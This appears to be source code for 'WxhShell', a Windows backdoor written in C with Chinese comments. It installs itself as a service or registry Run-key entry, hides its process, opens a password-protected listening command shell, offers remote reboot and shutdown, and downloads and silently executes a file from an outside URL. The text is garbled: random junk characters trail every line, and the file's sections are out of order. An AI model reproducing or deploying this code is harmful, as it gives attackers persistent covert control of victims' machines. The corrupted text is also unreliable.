} PROCESS_BASIC_INFORMATION; u[2B0a
`#w`-
PROCNTQSIP NtQueryInformationProcess; @F%_{6h
!BikqTM
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b<?A
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @I,:(<6
Ve\=By-a|
HANDLE hProcess; 1!`B8y)
PROCESS_BASIC_INFORMATION pbi; 4Hcds9y9
mzh7E[S_,i
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [_,Gk]F=
if(NULL == hInst ) return 0; z'd*z[L~
NamO5(1C
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !JC!GS"M5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Mk$Pt
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Th[Gu8b3
;H:+w\?8f$
if (!NtQueryInformationProcess) return 0; >Lrud{
Y<oDv`aZ0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T~(AXwaJ
if(!hProcess) return 0; <764|q
yM-3nwk
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Oe:_B/l
f))'8
CloseHandle(hProcess); C.}Vm};M
)>~d`_$dt
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ( [m[<
if(hProcess==NULL) return 0; )/2J|LxS
2or!v^^u
HMODULE hMod; "T,^>xD
char procName[255]; |<Gq^3 2
unsigned long cbNeeded; ]v{TSP^/
js<}>wD7<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i4 Vv6Sx1
%~A$cc
CloseHandle(hProcess); ;]+p>p-#
V]I+>Zn| 7
if(strstr(procName,"services")) return 1; // 以服务启动 ??tNMr5{[
K$(LiP
return 0; // 注册表启动 E A8>{}Z*
} ); <Le6
fPLi8`r
// 主模块 Q N$Ac.F
int StartWxhshell(LPSTR lpCmdLine) o#ajBOJ
{ `tb@x ^
SOCKET wsl; T nG=X:+=
BOOL val=TRUE; KeiPo KhZi
int port=0; :VEy\ R>W
struct sockaddr_in door; xp<p(y8e1d
&z"sT*3
if(wscfg.ws_autoins) Install(); 'E#;`}&Ah
q&`>&k
port=atoi(lpCmdLine); O=LiCSNEV
>u)DuZXj
if(port<=0) port=wscfg.ws_port; o}4J|@Hi|4
6*92I
WSADATA data; Sd0y=!Pj=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *f4BD||
wmf#3"n
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; jLLZZPBK
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mm'q4DV^
door.sin_family = AF_INET; Jm(sx'qPx
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .]\+JTm
door.sin_port = htons(port); hXE_OXZ
b=-LQkcZhK
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $6 A91|ZSQ
closesocket(wsl); a6v ls]?
return 1; uNcE_<
} lh?TEQ
r{~@hd'Aj
if(listen(wsl,2) == INVALID_SOCKET) { y$n`+%_
closesocket(wsl); O%n =n3
return 1; cA8"Ft{P)
} HLnizE
Wxhshell(wsl); (2vf
<x
WSACleanup(); lx!9KQAM*
c[xH:$G?Y
return 0; OVE5:)$x
:O(<3"P/
} s[HQq;S
[8J/#!B
// 以NT服务方式启动 )K+Tvx3(m
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !ufSO9eDx"
{ |GQFNrNx
DWORD status = 0; *`HE$k!
DWORD specificError = 0xfffffff; "7T9d)
TT0~41&l
serviceStatus.dwServiceType = SERVICE_WIN32; 1-=zSWmyK
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1*>lYd8_
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DE^ @b+6
serviceStatus.dwWin32ExitCode = 0; \?X'U:
serviceStatus.dwServiceSpecificExitCode = 0; ee=d*)
serviceStatus.dwCheckPoint = 0; <&$:$_ah
serviceStatus.dwWaitHint = 0; mq(*4KFWJ2
]ZjydQjo)
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pzPm(M1^X
if (hServiceStatusHandle==0) return; l"-F<^
U
%?7j
Q
status = GetLastError(); u9 yXHf
if (status!=NO_ERROR) XZk?aik}`
{ 9W[ ~c"Ku
serviceStatus.dwCurrentState = SERVICE_STOPPED; I>jDM
serviceStatus.dwCheckPoint = 0; ?\l@k(w4[x
serviceStatus.dwWaitHint = 0; @6roW\'$
serviceStatus.dwWin32ExitCode = status; #el i_Cxe
serviceStatus.dwServiceSpecificExitCode = specificError; -brn&1oJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F9SkEf]99
return; mJ3|UClPS
} <CJ`A5N
u=5~^ 9
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6,*o;<k[
serviceStatus.dwCheckPoint = 0; Yc*Ex-s
serviceStatus.dwWaitHint = 0; {J}Zv5
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t*&O*T+fgy
} iw$n*1M
H#LlxD)q
// 处理NT服务事件,比如:启动、停止 Y_}DF.>I P
VOID WINAPI NTServiceHandler(DWORD fdwControl) )ww#dJn
{ >J \} &!8,
switch(fdwControl) 4l6+8/Y
{ i8tH0w/(M
case SERVICE_CONTROL_STOP: Ba9le|c5
serviceStatus.dwWin32ExitCode = 0; ftqi >^i
serviceStatus.dwCurrentState = SERVICE_STOPPED; UUlrfur~
serviceStatus.dwCheckPoint = 0; Of*z9YI
serviceStatus.dwWaitHint = 0; k365.nc
{ wjr1?c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); t&r-;sH^[
} Q+O3Wgjy
return; !H5r+%Oo|
case SERVICE_CONTROL_PAUSE: Y-.pslg
serviceStatus.dwCurrentState = SERVICE_PAUSED; A7;|~??
break; %Tn0r|K
case SERVICE_CONTROL_CONTINUE: ,pgpu !
serviceStatus.dwCurrentState = SERVICE_RUNNING; <R6$ kom`
break; Rw54`_kFEB
case SERVICE_CONTROL_INTERROGATE: t/= xY'7
break; 7%-+7O 3ud
}; l~/g^lN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k_2W*2'S
} FK$?8Jp
&s|&cT
// 标准应用程序主函数 .[Z<r>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c&+p{hH+
{ X\I"%6$
drJ<&1O
// 获取操作系统版本 Uv(THxVh
OsIsNt=GetOsVer(); SLa\F
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2xchjU-
%D(%
lh2
// 从命令行安装 O;NQJ$^bI
if(strpbrk(lpCmdLine,"iI")) Install(); 2VNMz[W'
v$O%U[e<
// 下载执行文件 \`|*i$
if(wscfg.ws_downexe) { A&$oiLc
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a-t}L{~
WinExec(wscfg.ws_filenam,SW_HIDE); :\+;5Se+l
} Tn~b#-0
8h&Ed=gi
if(!OsIsNt) { Hd1e9Q,:|
// 如果时win9x,隐藏进程并且设置为注册表启动 .{-&3++WZ
HideProc(); =]pcC
StartWxhshell(lpCmdLine); f?iQ0wv)
} | %Dh
else uqhNi!;
if(StartFromService()) g|W|>`>
// 以服务方式启动 wX3x.@!:
StartServiceCtrlDispatcher(DispatchTable); \X=?+|
9
else Z2yZz:.'
// 普通方式启动 "]%.%$
StartWxhshell(lpCmdLine); 9tW=9<E
Yy4?|wVl
return 0; F 8\nAX
} ?(cbZ#( o
<bPn<QI
@
(UacFO
7*e7P[LQU
=========================================== A~CQ@
Z /-!-
je^!W?U4<
k{/2vV[`]
D&0@k'
Y7{9C*>
" I/ pv0
K<HF!YU#I2
#include <stdio.h> \X5>HPB
#include <string.h> Nw`}iR0i
#include <windows.h> &ACM:&Ob
#include <winsock2.h> oC]|ARgQk|
#include <winsvc.h> GW_@hYIqD
#include <urlmon.h> :V>M{vd
6.z8!4fpl
#pragma comment (lib, "Ws2_32.lib") e}u#:ysj
#pragma comment (lib, "urlmon.lib") OPp>z0p%6X
VO|2
#define MAX_USER 100 // 最大客户端连接数 =?U"#a
#define BUF_SOCK 200 // sock buffer QU/Q5k
#define KEY_BUFF 255 // 输入 buffer MtYi8"+<e.
|2 2~.9S
#define REBOOT 0 // 重启 -kp!.c
#define SHUTDOWN 1 // 关机 ~.;S>o[
tL?nO#Qx
#define DEF_PORT 5000 // 监听端口 #x"dWi(
#]ZOi`;
#define REG_LEN 16 // 注册表键长度 =='~g~
#define SVC_LEN 80 // NT服务名长度 7l"N%e
Zh?1+Sz&
// 从dll定义API . Q3GA0O
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k<xiP@b{y
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4{Vw30DZ
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6e1/h@p\7
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %4:tRF
s6k,'`.
// wxhshell配置信息 6~Y-bn"%D5
struct WSCFG { Zy BN o]
int ws_port; // 监听端口 4}:a"1P"
char ws_passstr[REG_LEN]; // 口令 t_@xzt10y
int ws_autoins; // 安装标记, 1=yes 0=no _ri1RK,
char ws_regname[REG_LEN]; // 注册表键名 1LTl=tS#
char ws_svcname[REG_LEN]; // 服务名 ;~Eb Q
char ws_svcdisp[SVC_LEN]; // 服务显示名 $:I~y|
!1
char ws_svcdesc[SVC_LEN]; // 服务描述信息 @D!KFJ
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0ad -4
int ws_downexe; // 下载执行标记, 1=yes 0=no ;<Dou7=
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $gsn@P>"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,nqG*
o
RW!D!~
}; +kF$I7LN
=(kwMJ
// default Wxhshell configuration (>*<<a22
struct WSCFG wscfg={DEF_PORT, JO:40V?op
"xuhuanlingzhe", k^3|A3A
1, `3!ERQU
"Wxhshell", 38IVSK_
"Wxhshell", #t
/.fd
"WxhShell Service", {K-]nh/
"Wrsky Windows CmdShell Service", 9Ny{2m=Ye
"Please Input Your Password: ", \~4uEk"]
1, g:/l5~b
"http://www.wrsky.com/wxhshell.exe", `A5^D
"Wxhshell.exe" V\8vJ3.YV
}; o<f[K}t9
_@3?yv~ D
// 消息定义模块 C'C'@?]
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SRq0y,d
char *msg_ws_prompt="\n\r? for help\n\r#>"; OM!CP'u#{
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L^: +8g
char *msg_ws_ext="\n\rExit."; 8fzmCRFH
char *msg_ws_end="\n\rQuit."; >Zk$q~'+
char *msg_ws_boot="\n\rReboot..."; >#z*gCO5,
char *msg_ws_poff="\n\rShutdown..."; pEIc?i*
char *msg_ws_down="\n\rSave to "; rf"%D<bb
unqX<6hu
char *msg_ws_err="\n\rErr!"; f $MVgX
char *msg_ws_ok="\n\rOK!"; <>,V>k|
T)Byws
char ExeFile[MAX_PATH]; mA:NAV$!s
int nUser = 0; `X8AM=
HANDLE handles[MAX_USER]; ^\kv>WBE
int OsIsNt; {l=!
a%>p"4WL
SERVICE_STATUS serviceStatus; Uv,_VS(
SERVICE_STATUS_HANDLE hServiceStatusHandle; D'e'xU
"=I
ioY
// 函数声明 lJ!+n<K+
int Install(void); {uEu
^6a5
int Uninstall(void); bq3G3oAyG
int DownloadFile(char *sURL, SOCKET wsh); :UmY|=v?t
int Boot(int flag); ye1kI~LO(
void HideProc(void); L 0kK' n?
int GetOsVer(void); !n4p*<Y6
int Wxhshell(SOCKET wsl); kQXtO)
void TalkWithClient(void *cs); gio'_X
int CmdShell(SOCKET sock); 3IHya=qN
int StartFromService(void); Wd'wL"6De
int StartWxhshell(LPSTR lpCmdLine); o
>bf7+D
Eh;SH^&6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !h&A^sAc
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (v*$ExF
9,y*kC
// 数据结构和表定义 /X)fWO S6
SERVICE_TABLE_ENTRY DispatchTable[] = Hk%m`|Z
{ O.S(H1z<G
{wscfg.ws_svcname, NTServiceMain}, `i0RLGze
{NULL, NULL} v|~ yIywf
};
Z+ [Nco
RO,
// 自我安装
C,:3z
int Install(void) Oa=0d;_
{ o|G.tBpKg
char svExeFile[MAX_PATH]; eX$P k:
HKEY key; `-S6g^Y
strcpy(svExeFile,ExeFile); w@Ut[
;6^
)}\T~#Q]y
// 如果是win9x系统,修改注册表设为自启动 +.MHI
if(!OsIsNt) { .Rxz;-VA
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FCU~*c8Cs
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dL5u-<y&
RegCloseKey(key); <